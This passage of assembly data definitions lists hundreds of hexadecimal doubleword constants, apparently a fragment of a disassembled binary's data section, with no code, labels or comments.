		dd 5848022Ah, 0D36FFD7Ah, 0E3C5C0B0h, 2700909Ah, 61686321h
		dd 137BC4Dh, 945367C7h,	0F5CB6B58h, 257320E0h, 304C8758h
		dd 0FA71B1D4h, 1381017Fh, 3099789h, 9283CC8Ch, 182C282Ch
		dd 70E53360h, 0A491C26Ah, 14E480BAh, 0D2AE3Ch, 0DEFE9341h
		dd 387912A2h, 78A896E6h, 0C4C8EA18h, 0C9974EA9h, 0FF305C20h
		dd 0DBD66800h, 86979A13h, 5377264Ah, 1EAA6030h,	0F099A8A7h
		dd 5B191D80h, 0B8C11264h, 0C0DEFC94h, 0F3018A21h, 2E0045D9h
		dd 98846F52h, 92EEFDh, 0EB85822Fh, 9B51112Ah, 97A6A1C3h
		dd 0A0D01793h, 33DC4723h, 631E00BCh, 68071CE8h,	4A320CE9h
		dd 0DAA7F861h, 60C5B870h, 6EC2D98Eh, 7A0014A4h,	0C7F05936h
		dd 51F43h, 96C368C1h, 0D56720B4h, 2F85FE27h, 6A912030h
		dd 16002F5h, 8476ED99h,	24BDC84Eh, 0F6110150h, 551364C2h
		dd 688441DAh, 0D93E7236h, 5A6ED819h, 0FB00AAEEh, 0EAD405EBh
		dd 39656C47h, 278426DBh, 9819F4E9h, 0CE4FBB94h,	31382Ch
		dd 1E05412Bh, 0D94298CBh, 0D17BF375h, 5359DE00h, 908C8F65h
		dd 0F7ECA480h, 3024E422h, 7F15C264h, 0A41288ECh, 821C78Bh
		dd 72E61801h, 96FD01F0h, 992D808Eh, 5DEFC19h, 0FA042600h
		dd 1003257Bh, 0F3CA09AAh, 0BC275F3Ch, 0A9C300DDh, 9F00A838h
		dd 739607F5h, 24619BA1h, 605C958Ch, 19D44B70h, 2D543E00h
		dd 6A200D83h, 0C80C17F1h, 8AF461D1h, 0C53042C7h, 0C0986CCCh
		dd 69B5EE20h, 5802E862h, 0D8DA728Bh, 0F80DA924h, 97A81801h
		dd 89319E81h, 24E8C10h,	0EC2CA267h, 4A20B43Ch, 0D0C00047h
		dd 0F8B92676h, 0FAF57F0Ah, 4B8F505Dh, 35A6259Eh, 50671AC4h
		dd 0BF8493Dh, 95A09657h, 2000ECECh, 62B30D40h, 9400C595h
		dd 7844BDBEh, 2CE4CCCBh, 8EC88FCh, 1849A11h, 6C902850h
		dd 0B0DB8AD6h, 39771Eh,	34026445h, 387CA78Dh, 1E5D7F48h
		dd 84ECCBA8h, 72F6F440h, 0F1683A34h, 0D30B98CCh, 9866ADCBh
		dd 0C04C82F6h, 342D2693h, 7BB870C1h, 74C8034h, 0DC4FA757h
		dd 641FE0F6h, 0EE050A80h, 0A3371938h, 7370A4h, 680CB617h
		dd 32A17103h, 0DE048500h, 0C2CB1210h, 0CC1102D0h, 585715EDh
		dd 94001872h, 0C3ECE418h, 1E8BA9EAh, 5CCDB0Fh, 0C1C89181h
		dd 505C96BDh, 0D21A4CDCh, 610F1600h, 55E0C042h,	377904C3h
		dd 8C4498E3h, 3B03A47Ch, 0AD055A30h, 0E8CEFAAAh, 0B2AE5FF4h
		dd 7E1B004Ch, 29729826h, 99131346h, 0D898FABCh,	6679C05Fh
		dd 90181337h, 80D3D43Fh, 678DAA5h, 5B8E7FAh, 0BC691CACh
		dd 25E05D93h, 6A408A7h,	4B04E990h, 0EFAF98F4h, 6829E4A5h
		dd 0D8E23E00h, 0AE167019h, 4AD5F900h, 3FB87227h, 0F4A3FADCh
		dd 741F4C6Bh, 6006CB09h, 0FCAA2C20h, 6CA60DF5h,	4B69D600h
		dd 0D9650763h, 0EEE2D11h, 0FC31D419h, 7B05E996h, 0ACCFEB9Bh
		dd 248000B4h, 4974944Ah, 5CB1C38h, 64AC14A0h, 0DE36AA3Dh
		dd 84A9CC49h, 94A18010h
		dd 0A04E49D0h, 2CF71238h, 8008D61Dh, 4F5B0814h,	0FA1C964Ch
		dd 77803D6Eh, 1ECA851Bh, 6D5000F6h, 9C9BB6D4h, 1CA01F02h
		dd 747B1035h, 59CCB800h, 88DCBCEEh, 9F400FC9h, 0EA29603Ah
		dd 7261C8E8h, 6C53BB4Bh, 382F48C0h, 55541370h, 50C0594h
		dd 35C4220Dh, 6F8C6D20h, 4BFE0091h, 24F266B9h, 0B538DB22h
		dd 9D7C5C57h, 80369280h, 48F868EAh, 205B415Fh, 168F3340h
		dd 39486F01h, 1BCFE4Ah,	2EF483E9h, 2B853DA2h, 4028552Eh
		dd 0DA914CF1h, 0C201C7E6h, 8A180401h, 6C735C5Ah, 716C3A28h
		dd 50BD6205h, 0D473F59Bh, 1B1E21BEh, 79A8617Eh,	0DF4C8A49h
		dd 98480Dh, 60A71188h, 818B69h,	8F2E91C7h, 0C22061F6h
		dd 0E57E64A4h, 8864ED48h, 0BF20CFAFh, 5F679EFDh, 1D80B096h
		dd 9F4C10CCh, 78F2B0h, 0FECB94Dh, 974912F7h, 84D0E449h
		dd 5890A1C5h, 784F37EBh, 15FB0250h, 45A0C7A9h, 8A1E4C71h
		dd 0C540F0A6h, 0AB4A1DFEh, 9185C0D8h, 0F4BF0768h, 7E71AD69h
		dd 0F85A8800h, 9891FBF3h, 61015C29h, 2D48ED01h,	58B73F0h
		dd 2EECBE18h, 0D7E028C2h, 0ED6846EEh, 0AA62C070h, 5908E2E4h
		dd 87E34218h, 0AD94302Bh, 9F042A7Ch, 0CBE0490h,	82B66FABh
		dd 3C72C9DCh, 7327B07Eh, 994802FDh, 0E20225B5h,	80508B98h
		dd 68B74A01h, 0F914047Eh, 0C22E9872h, 818129F0h, 0CD065483h
		dd 1098BC92h, 0BA00A808h, 0C605F722h, 7E2D5EFDh, 0E6F8180Dh
		dd 0E0205EA1h, 0AF5C9A4Bh, 0D23F00C4h, 0F9CC105Ah, 0DCFB540Fh
		dd 31C45B60h, 728B78FCh, 64404ED8h, 0BD98139Fh,	1237416h
		dd 3B2F917h, 0F06B49F0h, 0F70CAE12h, 0B82C9472h, 0C0709435h
		dd 82509FDEh, 189D7C0Ah, 0D581AC38h, 0E3107AD7h, 0B0D0B5C9h
		dd 4CF85496h, 2571466Ch, 4B5490B1h, 5CCF00F1h, 0CE194488h
		dd 2D00EA6Ah, 0DA854F98h, 887C1h, 33493564h, 9A2416E8h
		dd 6FF01C00h, 0B0A5F9C0h, 0DD131EC9h, 69CEC0E9h, 8BF131B3h
		dd 0BD22A06h, 73598904h, 5CB000ABh, 0E9343F2h, 0BE07378Ch
		dd 837AB4E5h, 0CD4D88F0h, 0F96C00A4h, 92DC3375h, 9D006994h
		dd 0A7797214h, 0F139CC82h, 26CE18E8h, 0A43C57h,	0B34DD2F8h
		dd 727AC119h, 0BB675A0Eh, 1E1A0097h, 0E6A0E3D9h, 0AE7899h
		dd 850AC2D3h, 0EE42D6A9h, 84257200h, 0CF7843B8h, 0F9E273h
		dd 63685961h, 4113C89Dh, 0B0D8E761h, 0A8E34F45h, 0E73FC0Ah
		dd 852D775Fh, 601BBCC0h, 0D3C0111h, 0B41980CDh,	6E9EAC2Ch
		dd 0AF6D0053h, 6CD9BA39h, 1300CD81h, 3872D801h,	78A75CBCh
		dd 35E8181Eh, 370B98C5h, 458D3900h, 0EC564BBBh,	82CC0021h
		dd 303C52DAh, 0F1F4C9E4h, 77ABBC01h, 54B8353Dh,	307A66D8h
		dd 0B6A14889h, 609DA734h, 59B227h, 41EF6822h, 0F8ADA53h
		dd 5D064901h, 8F5F9D6h,	0A6C37880h, 9A327BCh, 8F00D8E0h
		dd 5EA83CE9h, 18D5BF30h, 88D36D5Fh, 0A00343Dh, 0EA29C306h
		dd 0FF435CCh, 3331A4E7h, 399BCD01h, 0ED86C993h,	0BDC4C15h
		dd 28AEB124h, 95420A03h, 0A151041Ah, 802A7FB0h,	51F9DC5h
		dd 30D2290Ah, 4261ACFFh, 31B095F2h, 21921F40h, 0FCEADE00h
		dd 67032B0Eh, 0B6720006h, 4518F03Dh, 9A033A11h,	0F8EF831h
		dd 1B3900B2h, 79DCDFA1h, 8F005F10h, 63E58DCEh, 23799D3h
		dd 9ABD8E9h, 0F9801D07h, 8E565D0Ah, 55F9EC01h, 0A6656C26h
		dd 0E409D841h, 3ED81DC8h, 0CB81706Ah, 0D3F3C436h, 1BE3DC7Dh
		dd 0CFE850F1h, 0A700A52Dh, 0F22FFE63h, 24379E3Ch, 0A1C4192h
		dd 6B8E773h, 0E1628E76h, 0AC1C0818h, 5357A5B1h,	720F84F1h
		dd 3C078265h, 9418C369h, 87582900h, 78FCD949h, 0D22F0271h
		dd 854CACD4h, 6104AC4Ch, 400798F2h, 0DD3EC890h,	10E200B0h
		dd 8A2A8E39h, 0D203FFDCh, 34AA4CEEh, 4C57DA79h,	7C090454h
		dd 86664B16h, 8C18A1C0h, 3089B152h, 0A31958F4h,	3549B700h
		dd 9FEDEF96h, 0B009101Dh, 819EC800h, 0A857CCBFh, 80C28794h
		dd 1D013122h, 0B4323374h, 0CF405E82h, 12BE99C3h, 4017CD38h
		dd 743A7D0Ch, 90C1FD94h, 0B1F6E369h, 0D5D880FEh, 0C0CF1A31h
		dd 0B0AFBA50h, 2454946Fh, 6A078EACh, 5E1F1C81h,	9781D17Eh
		dd 0E48591BAh, 1891C8B1h, 0D78D36B0h, 0A59700AEh, 5AA89ED1h
		dd 670BE554h, 0FF1CABEFh, 0A4E3000h, 60007DC9h,	0E95374BBh
		dd 5C5858Fh, 2B55292Dh,	1F7582D2h, 0BE0CBCA1h, 0F4C7C095h
		dd 6A0283E2h, 4F99E246h, 4BB0C0B6h, 82891CDh, 0C808D961h
		dd 2FB0010Dh, 0D09B9C5Eh, 0AF01D0E4h, 71FB5D31h, 8340EAA6h
		dd 14C78E75h, 0FC871195h, 2C7E1Ch, 735DF238h, 8A303D36h
		dd 422FE080h, 9D60024h,	99756467h, 8801199Ah, 0B2A8187Fh
		dd 2261D036h, 746C1940h, 1456035Eh, 7A20EA9Eh, 183FD588h
		dd 5C86F000h, 8A53276Eh, 7747899h, 0B4CC1F7Ch, 9D47ADEh
		dd 68020B7h, 0A28F349Bh, 4B879103h, 0C3C06B17h,	0C169A848h
		dd 7BEC0F65h, 61C05663h, 0F04F1D05h, 50870E30h,	60DA5B7Dh
		dd 8AF3711Ch, 0B20E336h, 8D607F1h, 63DB40FAh, 0F2D8AF29h
		dd 5B7C470Ch, 181BE01h,	1F86FBEEh, 12244080h, 38DE9575h
		dd 89BAC200h, 0CABF5107h, 152F00A5h, 0D305B2C3h, 0AE3F4EF5h
		dd 82E96EC9h, 60EF2568h, 0F6E3414h, 504A622Ah, 0D1824EE0h
		dd 28C168E0h, 3797AF7Ch, 0B3BBDA80h, 64276707h,	3155F00h
		dd 0C31EE0EBh, 0E67C00ECh, 4EF40B53h, 8961067Dh, 4BC3BA1h
		dd 0F210F980h, 0B976302Ah, 7D498106h, 52298857h, 3C0080D5h
		dd 85BDB93Fh, 990F06B8h, 0C5C76Bh, 40F2204Ch, 0AE451D4Bh
		dd 561480B2h, 1C7AFB08h, 517BB0A1h, 0BC5BB7D8h,	0A900FECAh
		dd 2A2D7EC7h, 6B47614h,	301F5D5Ch, 0A600204Eh, 7532C346h
		dd 142FF2C7h, 0D868E456h, 2827AE07h, 95434017h,	0B004680h
		dd 4D588294h, 5A30FDAh,	1F02EE64h, 3C681131h, 35B6E80Eh
		dd 0EEFD20E2h, 4F0B4460h, 573BCDEFh, 8E88D1C0h,	289AC88Ah
		dd 24172600h, 0E6CC961Ah, 789F3F7Fh, 3A860905h,	0B0F86752h
		dd 5923776Dh, 6C061400h, 84CC4C88h, 11A0F430h, 88BC2FF9h
		dd 6D2C804Dh, 115B4C0Ch, 2212B809h, 7ECC003Fh, 0D43C84h
		dd 0C6A3D3DAh, 81518B42h, 0A04C6803h, 8D9503FDh, 4794E040h
		dd 4B71AEh, 0ADD4A4C7h,	5C5EA908h, 4C81740Ah, 0A6438CDBh
		dd 4B791B0h, 1D263824h,	1EC525BAh, 0FA2D4698h, 0A800D19Fh
		dd 8115EC8h, 2F5D4Dh, 0D3FE1721h, 0AE7AF356h, 1294EC49h
		dd 10400DD5h, 971B744Fh, 91C00066h, 0BED00958h,	0AE047073h
		dd 71ABEC67h, 0D20D0490h, 0FBE000BDh, 2F4A3D51h, 1E006B0Eh
		dd 0C33326FAh, 0A79BCFh, 0F542AAD9h, 5B58BE78h,	16286F00h
		dd 4DEE8CE8h, 17150FC9h, 7900C4FAh, 0BE3D5981h,	89448h
		dd 23402EB0h, 3A9726h, 63771720h, 71A82586h, 32B1C103h
		dd 0BF4BADh, 0EC04AE58h, 0EF5D1002h, 43DB9714h,	0D3D001E4h
		dd 0DF9C4B9h, 3D5BDCh, 0B43C241Eh, 0E92E5CFCh, 0FAB99401h
		dd 0C2F30B64h, 0F08F2160h, 18B07438h, 60BD794Dh, 0D6A01FA1h
		dd 5CB06E16h, 6700A8DFh, 253197A5h, 0F109004Dh,	7EC303AAh
		dd 89001AA9h, 0FC6D5BC4h, 7125F24h, 0BD872B59h,	154DC1DEh
		dd 54F8808Bh, 0EBD91CC6h, 0F7AF0022h, 83F66E2h,	0D4009DEAh
		dd 0B77452DDh, 192B511h, 0C6FCF4CDh, 9FEF1CE9h,	0A5808528h
		dd 8211339Bh, 423500F2h, 54FCC2B3h, 4120F818h, 472014E6h
		dd 500A4D3h, 29117E78h,	0E40071E9h, 0B933BA4Ah,	3AAB5EDh
		dd 6B4DB37Ah, 3803E59Fh
		dd 3E436965h, 5FACC085h, 83E20773h, 598DFBh, 0A34BD441h
		dd 0F1F6DE0Eh, 89D7A3A2h, 0EC980067h, 41B5F935h, 6007F4Bh
		dd 0E4279B42h, 868D53h,	0B358BAA9h, 0E8E0CE25h,	4E578800h
		dd 0EBCC2EB5h, 0C2C0F1B0h, 3779014Fh, 205595ECh, 0E5588C72h
		dd 676A8AC6h, 0C0A21165h, 0C906967Fh, 0CEC03300h, 0F63007E2h
		dd 1F5F0B0Dh, 5800027Ch, 0CD423F59h, 0D2395C60h, 794E0F05h
		dd 0EFF506E2h, 0F98115EBh, 0A0EDAC00h, 5A5FCE9Ch, 198460AAh
		dd 20E04722h, 0E93212C7h, 799FB450h, 77B6341Eh,	0B1983148h
		dd 40AD2008h, 84708B00h, 80AB5002h, 435B140Ah, 55481439h
		dd 97933600h, 10E1CE59h, 9B7D3D0Fh, 1623E098h, 524E8BFh
		dd 0DC1F58E0h, 0DFFC4191h, 0F8C1A851h, 0F6008B4Fh, 0E7ECBEC0h
		dd 6AF44Bh, 1318C55Ch, 7DBFC27Eh, 3998F131h, 0B7F0D85Fh
		dd 9C9B0034h, 0EBA9606Ah, 0E4035504h, 0F6B50E38h, 3C01D87Ah
		dd 8063006Fh, 868F7D1Ah, 7C074BAAh, 0F55AD7EDh,	0E0448E8Bh
		dd 0BD94B3B6h, 0ACE75468h, 71C40003h, 0B78964C7h, 0E000287Dh
		dd 0D0946BD6h, 1DC5331Bh, 40F48D25h, 137C2F0Ah,	54905763h
		dd 3A37BC0Eh, 3CA5E138h, 6420BA05h, 0A083F821h,	137DC0h
		dd 6DF449E8h, 2C813403h, 0AD0E260Eh, 0BFD8A7AAh, 281FC20Fh
		dd 152C462Ah, 0E08BABC6h, 8C3BC205h, 0F3B10023h, 0BF2C2B42h
		dd 0D1840100h, 685D63F9h, 0BDE0A8h, 607B47C6h, 0D8A39553h
		dd 0E9B65407h, 0C4D3C5CFh, 75100A5h, 29E73956h,	2E000420h
		dd 0E21CB6DBh, 7F2FC672h, 12D10959h, 6821C43Ch,	1EBD599h
		dd 1C087067h, 246A6408h, 0B0B50041h, 71F307A0h,	8E1CB5B8h
		dd 0EC4402FEh, 0E8934C4Eh, 418C8F42h, 0A0695421h, 0B3DE002Ah
		dd 37BA9F6Ch, 100541A0h, 8307CFC7h, 58942FC0h, 0F1BD3A9Bh
		dd 0EE83061h, 0A2D82497h, 0C129C28h, 40E3083Ah,	0E5D14C17h
		dd 3020A050h, 531957DCh, 341EF948h, 0ED00911Bh,	90729FCCh
		dd 99596020h, 0E2FBDDEBh, 3D11B1DFh, 24DE3B06h,	552990BCh
		dd 210C84D1h, 660825h, 2260D38Fh, 0B8ECCA46h, 0E3270800h
		dd 0CD48EF01h, 524F1B6Bh, 53F840BFh, 0F37C1B96h, 0EE9A0B13h
		dd 14BCA812h, 0DE483107h, 1AD681E0h, 3D582602h,	9F15FC41h
		dd 808CEBh, 1A4BF42Ah, 1D2DC240h, 82072872h, 0C4A9BB70h
		dd 0CF00CC64h, 1B11BF49h, 0A70C14h, 5EB96FFFh, 0A29F015Fh
		dd 85438B3Ch, 51139074h, 4C6E84Fh, 7CCC5412h, 0A3F12A1Fh
		dd 20D4FDA4h, 0AF7E0645h, 4489DF99h, 17B6D60Bh,	7405D51Fh
		dd 0DB8C4018h, 0D3483CDEh, 0AA1C251Fh, 0D6016145h, 4AEB8830h
		dd 0F6BA3096h, 5093EB1h, 90341E1Fh, 0CD7891C2h,	0EB94A10Fh
		dd 64249EBFh, 11F4ACC0h, 0A2DAE4h, 0C49EDD75h, 6EEF06h
		dd 4C9C62C8h, 5C20A549h, 64856F01h, 0A9C2ECE2h,	788436h
		dd 10E6332Ch, 165CDBCh,	7A6B4E02h, 625E188Eh, 69304820h
		dd 4A009240h, 2E7FCC1h,	1CEF3468h, 9C9068B3h, 9660026h
		dd 9F885FBFh, 6D021A58h, 0FD754A45h, 72644954h,	987CB851h
		dd 3FEF458h, 0E31D259Eh, 0BE81CC7h, 0D72A734Ah,	0F613FC88h
		dd 0EEBE2D9h, 0A301ED8Bh, 337FC0A9h, 0F6EB1240h, 46CF6431h
		dd 0E01599BEh, 826A0B5h, 904D6538h, 0D8F2BF64h,	0BCBE7002h
		dd 613A4486h, 0FA10C5A0h, 40B19E4Dh, 5C00DF92h,	302AFCE6h
		dd 0B4F012B9h, 3FEC41BEh, 23EAA412h, 382521D0h,	0B5FF9F03h
		dd 67D91F96h, 68D98990h, 8B40214Dh, 97F00413h, 0D01D52C0h
		dd 0A4EBB906h, 0ED2CC17Fh, 0CB3415h, 6C4EA6F4h,	28307A3h
		dd 60965413h, 5E124BD9h, 713499C0h, 562F1AFh, 4FC1C4C9h
		dd 0B8D89069h, 0DD00B620h, 5008C87Ch, 24ABB4E7h, 58C418EDh
		dd 1F00578Eh, 0F0E8670Dh, 44A953h, 0EBCB8E1h, 9991EF60h
		dd 0B3550B01h, 5B16F67Dh, 2E14E062h, 0C6C3D486h, 988482CDh
		dd 830EB888h, 2FF79605h, 0B8598C21h, 4D370038h,	246C19B6h
		dd 5F4D7465h, 0D85514F4h, 0F3E6829Ch, 1F6CC6B7h, 3C93E71h
		dd 8331A581h, 349811EBh, 87045D17h, 971AE28Ch, 0FF41F4D1h
		dd 509FD701h, 2AB4B6D4h, 5300177Ah, 0B9EC46FEh,	901AA6Ah
		dd 4D66D5FBh, 0E8460412h, 832B1C00h, 0A2E44A52h, 91D500C7h
		dd 1D3193FAh, 5493DA92h, 33304D80h, 561EA4E1h, 2E74E864h
		dd 8298A17Ah, 0A769EBB8h, 3642FCA7h, 2158F16Ah,	91C280C4h
		dd 0A44E755h, 4A13B59Fh, 3915809Ch, 6D148DB2h, 0EA068C0Fh
		dd 8FBEA157h, 1C20A05Ah, 0F9692CFFh, 0F2074000h, 9600EFE4h
		dd 0EC78ACC4h, 0CD17DAh, 13D9C17Dh, 9F6EE77Ah, 80675229h
		dd 0E9C6E301h, 0B1934806h, 0D7102068h, 0EC002CB8h, 21696EBFh
		dd 9873FDB2h, 143812BCh, 0BC6BF0BEh, 0D462B8AAh, 9842E80Eh
		dd 0E84C84F2h, 0E5881510h, 5A216500h, 6335BEDh,	314ECA12h
		dd 148C2064h, 4732002Fh, 0C081A0E2h, 0C70286A4h, 9A6ACFCDh
		dd 19044A7h, 0BD600B56h, 522A0D8Fh, 0A090EBACh,	6498643Fh
		dd 9C0C47B0h, 1942AA58h, 3E0603EFh, 9448D72h, 9E2880E7h
		dd 2C02FA65h, 6A2603D2h, 184A00Ah, 901BCAh, 0CE93B75h
		dd 0DFA172A5h, 15017C9Bh, 41E69EFBh, 2A3052C0h,	8C9BD8h
		dd 0EEE14EDAh, 7738A60Ch, 396F0A00h, 5C67FDD3h,	0F06E16FFh
		dd 0DB7820C7h, 0FA3A524Eh, 0E9C28007h, 0A332AC38h, 8D0BB85h
		dd 8E008474h, 512A7558h, 9AE3002Eh, 0F2604D10h,	7901041Fh
		dd 57A25C9Eh, 7ECBE7EBh, 2C067E61h, 0E36460B1h,	0B100AED7h
		dd 0A844FE9Ch, 3E8C59h,	28FB7E03h, 216FB3E4h, 1C049500h
		dd 4DB5A67Dh, 59ED65F4h, 0CCDC20DCh, 3C00541Fh,	0EF5C3460h
		dd 0E7E9C725h, 350B542Dh, 8C043001h, 0C0C642ABh, 2E546E22h
		dd 40D03873h, 4CCB8089h, 0A9D4B200h, 0B7D321C5h, 0B0EB00DBh
		dd 0B39A1965h, 102EA7Eh, 0A44DADA8h, 0FEA890ABh, 972F07Bh
		dd 12385C02h, 0C88C3C85h, 0D3301A0Ch, 0F22F9993h, 0CB7738BEh
		dd 5F429285h, 559033E8h, 4B082654h, 28A9B000h, 2C228AC1h
		dd 7F291DA4h, 2D32002Ah, 0AEC0D4Fh, 0ED2B0E00h,	0FB0C766Fh
		dd 873500C8h, 65CCD686h, 0F400058Fh, 9D8118D2h,	773450h
		dd 4D74BE2Bh, 0E97AFDBCh, 1527FE00h, 0AC43A981h, 7C7E02h
		dd 0A3C995E3h, 0A1187732h, 0D226700h, 0D7F63721h, 0DFB600CCh
		dd 2DD2B153h, 8000E827h, 35BAD1DCh, 152A558h, 0A11FFD1Dh
		dd 0D0B7266Eh, 0DC008ED0h, 0B1079C92h, 1DC9DBh,	0BE570106h
		dd 0F5B85043h, 0D5032170h, 0BD982E2Ah, 10C63BFDh, 0B4F1CF80h
		dd 0A0659D03h, 94AE0F00h, 0C0BF2663h, 0D149311Bh, 4040F590h
		dd 5D0BDB24h, 0EB00EC7Ch, 153025A9h, 27B8AC4h, 5298325Ch
		dd 3DC00B53h, 0FC007034h, 8207963Ch, 6DA2024h, 0A4C9A08Bh
		dd 1D00A0BDh, 0A3CDD27h, 0B6CD22h, 0EACC91FEh, 0CB3027Ch
		dd 9E948E18h, 72ED7D8h,	0CD20AA45h, 37C78032h, 4C00472Fh
		dd 0A6DF1383h, 5FBB6Ah,	0E42D12B2h, 6C323492h, 3789F218h
		dd 1C9528h, 0BC6A3D94h,	63D70F6Fh, 3F269607h, 0CAC45FBAh
		dd 4ECF00EEh, 5DE534EDh, 22F08100h, 4B7A97D5h, 47AA185Fh
		dd 6E28683Eh, 5CB71C3h,	0FB3FF864h, 88BF1D8Ah, 1B8D0013h
		dd 35ECCA65h, 0C00B3000h, 1D0A8BEBh, 0D6AB0062h, 52B2E1D0h
		dd 3C1853BEh, 0BB987986h, 8A6800ACh, 7D7C1DAFh,	8B16A6B6h
		dd 9A022AC5h, 8014253Dh, 464D603Ch, 7BB200B5h, 1559DF37h
		dd 80035B9h, 6A69DBA1h,	79C9AF0h, 0EE3E415Ah, 361BB3AAh
		dd 92B0DA8Bh, 610A3768h
		dd 804AC573h, 3F641480h, 78958441h, 0E81C38E5h,	0A5AF0900h
		dd 3B8E9B8Ch, 5EC1CD18h, 3B23D80h, 50959FDCh, 88A8EA92h
		dd 6606BF1Eh, 4D590B2Fh, 937EAA9h, 1185407h, 6436AC80h
		dd 49091DB3h, 29B72BFh,	0A15D88D3h, 29558FACh, 38EEBE8h
		dd 6CA4EEB3h, 0AAC85A3Ch, 12005DAEh, 683097A1h,	0DC0BE6h
		dd 8578FBA9h, 801926C2h, 4DFA9805h, 0B2C0F96Bh,	0ECAA70C6h
		dd 0D2AC4EF8h, 6C41F403h, 0FB366004h, 0BE002FECh, 446F7451h
		dd 4A5E1B8h, 0A7B5E99Bh, 581CAB1Ah, 9A2FF00h, 0F3C897h
		dd 3F29339h, 25768CBDh,	0D6F9CD00h, 128FBCC0h, 0C0C97440h
		dd 39BE4920h, 2A00B9D4h, 0CBB867CFh, 7923387h, 31CCF5C8h
		dd 3A6AB1A2h, 1A59F4F3h, 0DED0FB03h, 0EEF4683h,	0F8648060h
		dd 6B151D00h, 0C476A39Eh, 0C6975A03h, 0B156CF0Bh, 7180BBB7h
		dd 951CF7D9h, 1B74A4D6h, 4313AD01h, 745BB3AEh, 3742F18Ah
		dd 0A69B00A4h, 0FD789581h, 1E14DF1Eh, 655C9080h, 63297003h
		dd 59EF607Eh, 8527B6E2h, 0A72099DDh, 7DB7205h, 0F45E19B7h
		dd 0C33BB215h, 0EE300260h, 0FF59670Ah, 1C1CA03Ah, 0AD03A440h
		dd 0C3F68C5h, 96BED78h,	0DA00F290h, 9C14AA02h, 817106h
		dd 0D6AD6E16h, 0C9E278Ch, 6FF8B200h, 0F75E6050h, 0CEE6059Dh
		dd 35667Eh, 0CD2CF2B8h,	0E1C67318h, 59016Bh, 8A7DC06Fh
		dd 0C71BAF50h, 86F04B05h, 0A0631ED3h, 0F239006Ch, 5061B16Dh
		dd 5C0346AAh, 0D37B7624h, 99C6E8EBh, 3E05B889h,	0EC804F8Eh
		dd 87DCC896h, 0F8F25E18h, 3F59790Ah, 848894D4h,	0AB9B8446h
		dd 1BC3BB96h, 7F5FD99Ah, 0DD6B8451h, 437EC180h,	7A641690h
		dd 0BE7BCF00h, 95D74FB2h, 0EB1800A2h, 1279B6B9h, 5F0086BDh
		dd 0D83BBED2h, 0C1A911Fh, 0A8DBFFBAh, 82246390h, 0CA804C95h
		dd 1BAC0744h, 7A4A00A3h, 0AAC6EC74h, 0DD1BFD3Fh, 297C87h
		dd 756A48A6h, 0F333F076h, 1C007C93h, 0C61B5A40h, 81A30EDDh
		dd 9C54325Eh, 0E7507E0Dh, 5336C5C1h, 0E00AA328h, 0AC164D68h
		dd 985FA4BEh, 5C50804Fh, 0C4D0FAE6h, 0EC8A1560h, 0B5281DA9h
		dd 2F4DEE80h, 1888F51Bh, 882BDE65h, 4C485D0Dh, 72CF8760h
		dd 71B11810h, 0EDFA007Eh, 30921949h, 0BC03A8DDh, 6B79E52Fh
		dd 5581000Ch, 40105D0h,	0F90007B5h, 37D4916Dh, 3E51903h
		dd 0EF18EB13h, 0D101E66Bh, 52C5238Dh, 0F04C8659h, 0AC370CEAh
		dd 8FC8E876h, 268B6F03h, 0F829AFCCh, 24218092h,	0CE4A166h
		dd 0DAE1F952h, 0AEE64D0Ch, 0F21B64A6h, 256CA885h, 0CAEB0266h
		dd 2CF4DB16h, 24766091h, 0F60840E0h, 80755CEDh,	2BE1C19Fh
		dd 6E008182h, 7AB0655Bh, 0A5C602Ch, 95CADD42h, 60344A5Ch
		dd 499E8A08h, 99230539h, 70D02E53h, 3D7F5980h, 1FA47364h
		dd 6C843Dh, 0C020A2AFh,	0CAB32A6h, 0F4016171h, 0F34076E0h
		dd 40B948AFh, 0F7D840DFh, 0A2CD79A7h, 6F381B13h, 32032430h
		dd 0CED9010Eh, 0A97F0AEAh, 1465FE2Dh, 73485D14h, 0ED18AB00h
		dd 0A0A67ABAh, 5A3300A2h, 3E67D9A7h, 0B00976DBh, 106C3CACh
		dd 177EF8h, 2489260Ch, 411E3BEDh, 9566C900h, 65E6BFE4h
		dd 44904807h, 0C8EDCE09h, 7359D8A1h, 18A410BBh,	0B8D448E3h
		dd 590B6B18h, 150A6236h, 78C3A2CAh, 0E3D46340h,	190892E6h
		dd 49CD5D59h, 19A6C3CEh, 1F4AFA00h, 0A3E82EBBh,	76678894h
		dd 85B4B648h, 3099FF33h, 331994D5h, 78740108h, 0BC96DD29h
		dd 4CB1EB20h, 0E3228C21h, 0D99F5C30h, 1FB40C88h, 3D7AF7h
		dd 0F3284715h, 8B3E4AA7h, 88B585F6h, 6823D725h,	41C4601Bh
		dd 22BF0C35h, 7C37DD01h, 51E8771Ah, 0D47A4C47h,	0FCF13540h
		dd 59BF0009h, 7451C38h,	0C1007C5Fh, 0B7F23415h,	356AE65h
		dd 42039811h, 67C93DABh, 4C2272h, 0AA396F63h, 51BE158Dh
		dd 0E459D827h, 32A51401h, 44C4AECh, 0AEE3B7CBh,	3048C95Fh
		dd 7B011B54h, 0CD24E9EDh, 0C98283FEh, 0E75E8A76h, 3BF490AAh
		dd 0DA009A44h, 0FA2834Eh, 0A3F3D9h, 55485108h, 7C2511C8h
		dd 6BEE8B19h, 68D4F2E9h, 5887001Bh, 94973727h, 0E8932DE1h
		dd 48983D04h, 0A4C41C89h, 7EDCA86Dh, 78C050DCh,	74A500ADh
		dd 91EB1CABh, 7EC1271Eh, 0D63264C8h, 0A161F842h, 0B54342B4h
		dd 3743F02Ah, 6889A891h, 0AF9C18DCh, 0E8620C8Eh, 5C7152A2h
		dd 0C4B95A60h, 26451B67h, 0A2CAFCh, 498D037Ah, 30B06025h
		dd 0B70F9B10h, 20A3DE13h, 0EED8CCD4h, 0A4554000h, 0EB8CE0E2h
		dd 0C1EC69BEh, 44468980h, 0A6000FF6h, 68F01BE7h, 0E26C7E78h
		dd 5BE9C0E5h, 926F8BDEh, 0FB2A1100h, 0C7068C93h, 0B289015Ch
		dd 803BBCEBh, 0F513F0A9h, 3C30FA50h, 0D42249h, 0E211FE09h
		dd 2CBDF49h, 727EF469h,	0A490BB7Bh, 0B10A9413h,	0B0D75B34h
		dd 20300C8Eh, 989509FDh, 0DFE50EC4h, 0BFAAF524h, 6FEF0F94h
		dd 69780052h, 67FFFCAEh, 2EBC2148h, 3940DC3Dh, 320AD3h
		dd 25B58660h, 200E8870h, 2C240C00h, 681D97C0h, 36424859h
		dd 0F918DE39h, 0B81281A4h, 0CC449B00h, 64E46EF3h, 0E8409862h
